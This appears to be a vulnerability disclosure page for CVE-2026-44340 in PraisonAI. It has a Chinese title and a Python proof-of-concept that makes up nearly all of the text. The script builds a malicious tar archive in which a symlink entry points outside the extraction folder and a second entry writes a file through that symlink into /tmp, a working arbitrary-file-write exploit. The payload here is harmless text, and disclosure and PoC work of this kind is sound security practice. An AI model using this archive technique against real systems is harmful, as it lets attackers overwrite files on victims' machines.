CVE-2026-44340 PraisonAI 任意文件写入漏洞

import tarfile import io # Proof of Concept for CVE-2026-44340 # This script generates a malicious tar file to demonstrate the path traversal via symlink. def generate_malicious_tar(): output_path = "exploit_CVE_2026_44340.tar" with tarfile.open(output_path, "w") as tar: # 1. Create a symlink inside the destination directory that points outside (e.g., /tmp) # The name 'safe_dir/mylink' looks safe, but linkname points to '/tmp' symlink = tarfile.TarInfo(name="safe_dir/mylink") symlink.type = tarfile.SYMTYPE symlink.linkname = "/tmp/target_file" tar.addfile(symlink) # 2. Create a regular file that traverses through the symlink # By writing to 'safe_dir/mylink/payload.txt', we actually write to '/tmp/target_file/payload.txt' payload_content = b"This is arbitrary content written to the filesystem." file_info = tarfile.TarInfo(name="safe_dir/mylink/payload.txt") file_info.size = len(payload_content) # Add file content using BytesIO tar.addfile(file_info, io.BytesIO(payload_content)) print(f"[+] Generated exploit archive: {output_path}") print("[+] When extracted by the vulnerable PraisonAI, this will write to /tmp/target_file/payload.txt") if __name__ == "__main__": generate_malicious_tar()